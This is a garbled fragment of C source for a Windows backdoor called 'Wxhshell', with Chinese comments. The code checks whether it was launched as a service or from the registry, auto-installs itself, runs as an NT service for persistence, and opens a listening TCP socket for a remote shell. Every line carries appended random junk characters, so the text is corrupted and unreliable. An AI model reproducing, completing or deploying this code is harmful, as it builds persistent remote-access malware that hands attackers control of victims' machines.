ULONG UniqueProcessId; P*_!^2
ULONG InheritedFromUniqueProcessId; 2qLRcA=R
} PROCESS_BASIC_INFORMATION; w-*$gk]
J;,6ydf8!
PROCNTQSIP NtQueryInformationProcess; ;
>Tko<
*xR;}%s\
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; o6,$;-?F_
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; xq+$Q:f
7Gd)=Q{uur
HANDLE hProcess; Is&z~Xy/
PROCESS_BASIC_INFORMATION pbi; /_}xTP"9
6Ko[[?Lf[
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 9AK<<Mge.
if(NULL == hInst ) return 0; %m$TV@
7t= e"|^
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); nQ2V
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); XF(0>-
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); j3jf:7 /\
OBaG'lrZy
if (!NtQueryInformationProcess) return 0; $BKGPGmh
q'~?azg:
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); :fz&)e9
if(!hProcess) return 0; 8##-fv]
LDqq'}qK6
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; o"dX3jd
n*~=O '
CloseHandle(hProcess); %>B?WR\yE
d1VNTB
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); m`CcU`s
if(hProcess==NULL) return 0; UUi@
U
Ex2TV7I
HMODULE hMod; ]7" W(
char procName[255]; S~fUR n
unsigned long cbNeeded; t"Ok-!c|
9[K".VeT]
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); |6/k2d{,(
\ cmt'b
CloseHandle(hProcess); ))f%3_H
):HjpJvF
if(strstr(procName,"services")) return 1; // 以服务启动 `F5iZWW1
`t_S uZ`V
return 0; // 注册表启动 <?UbzT7X
} 6vp\~J
W FVx7
// 主模块 0gdFXh$!e
int StartWxhshell(LPSTR lpCmdLine) >PdYQDyVS
{ hbm%{*d
SOCKET wsl; [iVCorU
BOOL val=TRUE; L1=+x^WQ
int port=0; c"`o V! m
struct sockaddr_in door; mYLqT$t.+
*ue-
x!"c
if(wscfg.ws_autoins) Install(); wGdnv}#
LV|ZZ.d h
port=atoi(lpCmdLine); G|eY$5!i
S9/oBxGN
if(port<=0) port=wscfg.ws_port; 'p<lfT
sq
`f?tA?
WSADATA data; r}kQ<SRx
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; /@Qg'Q#
&:1PF.)N
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; Q;r9>E!
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 7<{g+Q~7*
door.sin_family = AF_INET; {A2EGUmF2
door.sin_addr.s_addr = inet_addr("127.0.0.1"); `x=W)o
}
door.sin_port = htons(port); $n_'#m2LE
WJH-~,u
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { x'IVP[xh`A
closesocket(wsl); 1>hY!nG h
return 1; n8W+q~sW%
} b=nQi./f
MmUtBT
if(listen(wsl,2) == INVALID_SOCKET) { k?r-%oJ7
closesocket(wsl); nx{_^sK
return 1; anDwv
}
} cp D=9k!*K
Wxhshell(wsl); * V;L|c
WSACleanup(); &!/E&e$_
@J J,$?
return 0; ['9awgkr/
k?(x}IZdG
} +?"N5%a%F
2.''Nt6|
// 以NT服务方式启动 Xvy3D@o
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Md!L@gX6<
{ z1wJ-l
DWORD status = 0; ,3 !D(&
DWORD specificError = 0xfffffff; o1jDQ+
""AP-7
serviceStatus.dwServiceType = SERVICE_WIN32; %N((p[\H
serviceStatus.dwCurrentState = SERVICE_START_PENDING; LOm*=MVex
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; <*D{uMw
serviceStatus.dwWin32ExitCode = 0; n*%o!=
serviceStatus.dwServiceSpecificExitCode = 0; \}CQo0v
serviceStatus.dwCheckPoint = 0;
pwj ?
serviceStatus.dwWaitHint = 0; ?&qa3y)wX:
2t9JiH
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); H{XbKLU
if (hServiceStatusHandle==0) return; .I~#o$6
FE}!I
status = GetLastError(); t(<^of:
if (status!=NO_ERROR) 3Z,J&d`[
{ &b!L$@6
serviceStatus.dwCurrentState = SERVICE_STOPPED; a/})X[2
serviceStatus.dwCheckPoint = 0; x2-i1#j`;
serviceStatus.dwWaitHint = 0; {_#~&I